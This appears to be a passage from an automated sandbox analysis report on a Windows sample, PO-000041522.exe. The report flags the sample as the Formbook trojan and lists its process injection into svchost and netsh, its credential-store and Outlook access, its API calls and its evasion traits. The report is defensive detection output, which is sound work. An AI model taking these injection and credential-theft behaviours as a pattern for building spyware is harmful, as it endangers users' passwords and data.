            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01465BF011_2_01465BF0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0142DBF911_2_0142DBF9
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140FB8011_2_0140FB80
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AFA4911_2_014AFA49
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A7A4611_2_014A7A46
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01463A6C11_2_01463A6C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0149DAC611_2_0149DAC6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01435AA011_2_01435AA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148DAAC11_2_0148DAAC
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01491AA311_2_01491AA3
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A1D5A11_2_014A1D5A
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A7D7311_2_014A7D73
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F3D4011_2_013F3D40
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140FDC011_2_0140FDC0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01469C3211_2_01469C32
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AFCF211_2_014AFCF2
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AFF0911_2_014AFF09
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F1F9211_2_013F1F92
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AFFB111_2_014AFFB1
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F9EB011_2_013F9EB0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B11A2011_2_00B11A20
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B0C93011_2_00B0C930
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B0ABD011_2_00B0ABD0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B0ABC811_2_00B0ABC8
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B0CB5011_2_00B0CB50
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B150E011_2_00B150E0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B132BB11_2_00B132BB
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B132C011_2_00B132C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B1327C11_2_00B1327C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B013A111_2_00B013A1
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B2B7B011_2_00B2B7B0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129E34811_2_0129E348
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129E22411_2_0129E224
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129D74811_2_0129D748
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129E6DF11_2_0129E6DF
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129C9E311_2_0129C9E3
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: String function: 0040E6D0 appears 35 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030AEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0302B970 appears 277 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030BF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03075130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03087E54 appears 111 times
            Source: C:\Windows\SysWOW64\netsh.exeCode function: String function: 01425130 appears 58 times
            Source: C:\Windows\SysWOW64\netsh.exeCode function: String function: 0146F290 appears 105 times
            Source: C:\Windows\SysWOW64\netsh.exeCode function: String function: 01437E54 appears 102 times
            Source: C:\Windows\SysWOW64\netsh.exeCode function: String function: 013DB970 appears 277 times
            Source: C:\Windows\SysWOW64\netsh.exeCode function: String function: 0145EA12 appears 86 times
            Source: PO-000041522.exe, 00000000.00000003.1266088777.0000000004453000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO-000041522.exe
            Source: PO-000041522.exe, 00000000.00000003.1262782919.00000000047BD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PO-000041522.exe
            Source: PO-000041522.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@10/6
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Users\user\Desktop\PO-000041522.exeFile created: C:\Users\user~1\AppData\Local\Temp\iodizationJump to behavior
            Source: PO-000041522.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\PO-000041522.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1580027501.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3115322736.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1579947567.0000000000CF8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: PO-000041522.exeReversingLabs: Detection: 26%
            Source: C:\Users\user\Desktop\PO-000041522.exeFile read: C:\Users\user\Desktop\PO-000041522.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\PO-000041522.exe "C:\Users\user\Desktop\PO-000041522.exe"
            Source: C:\Users\user\Desktop\PO-000041522.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-000041522.exe"
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeProcess created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\SysWOW64\netsh.exe"
            Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\PO-000041522.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-000041522.exe"Jump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeProcess created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\SysWOW64\netsh.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\PO-000041522.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: PO-000041522.exeStatic file information: File size 1320545 > 1048576
            Source: Binary string: netsh.pdb source: svchost.exe, 00000002.00000003.1342610042.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000105B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3121550063.000000000106E000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000106B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mRCAFaTTtF.exe, 00000009.00000000.1295861911.00000000005AE000.00000002.00000001.01000000.00000005.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3112297716.00000000005AE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO-000041522.exe, 00000000.00000003.1264040005.0000000004330000.00000004.00001000.00020000.00000000.sdmp, PO-000041522.exe, 00000000.00000003.1261236525.0000000004690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1276424320.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1278741824.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1387846184.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.000000000154E000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1385110305.0000000001042000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: netsh.pdbGCTL source: svchost.exe, 00000002.00000003.1342610042.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000105B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3121550063.000000000106E000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000106B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO-000041522.exe, 00000000.00000003.1264040005.0000000004330000.00000004.00001000.00020000.00000000.sdmp, PO-000041522.exe, 00000000.00000003.1261236525.0000000004690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1384544030.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1276424320.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1278741824.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, netsh.exe, 0000000B.00000003.1387846184.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.000000000154E000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1385110305.0000000001042000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: netsh.exe, 0000000B.00000002.3115322736.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.0000000003A6C000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000000.1459897073.0000000002C0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.1691230052.0000000039D5C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: netsh.exe, 0000000B.00000002.3115322736.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.0000000003A6C000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000000.1459897073.0000000002C0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.1691230052.0000000039D5C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: PO-000041522.exeStatic PE information: real checksum: 0xa2135 should be: 0x145111
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003AC120 push esi; iretd 2_2_003AC121
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A3320 push eax; ret 2_2_003A3322
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B3663 push eax; retf 2_2_003B36AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B8E5E push ebx; iretd 2_2_003B8EC4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B46B4 push cs; ret 2_2_003B47A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B8E98 push ebx; iretd 2_2_003B8EC4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B4723 push cs; ret 2_2_003B47A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300225F pushad ; ret 2_2_030027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030027FA pushad ; ret 2_2_030027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD push ecx; mov dword ptr [esp], ecx2_2_030309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300283D push eax; iretd 2_2_03002858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300135E push eax; iretd 2_2_03001369
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013E09AD push ecx; mov dword ptr [esp], ecx11_2_013E09B6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B10340 push eax; retf 11_2_00B1038C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B08DFD push esi; iretd 11_2_00B08DFE
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B11391 push cs; ret 11_2_00B1147F
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B11400 push cs; ret 11_2_00B1147F
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B15B3B push ebx; iretd 11_2_00B15BA1
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B1DB70 push edi; iretd 11_2_00B1DB7C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B15B75 push ebx; iretd 11_2_00B15BA1
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_012A50A2 push eax; ret 11_2_012A50A4
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_012960B0 push ecx; retf 11_2_012960B6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0129B58B push ebp; retf 11_2_0129B596
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01294487 push ebp; retf 11_2_01294488
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_012A573B pushad ; retf 0000h11_2_012A5741
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_012A5748 pushad ; retf 0000h11_2_012A5755
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01295A11 pushad ; retf 11_2_01295A22
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01295FF6 push ds; iretd 11_2_01295FF9
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PO-000041522.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004440780_2_00444078
            Source: C:\Users\user\Desktop\PO-000041522.exeAPI/Special instruction interceptor: Address: 3F35274
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECD944
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECD504
            Source: C:\Windows\SysWOW64\netsh.exeAPI/Special instruction interceptor: Address: 7FFB2CECD544
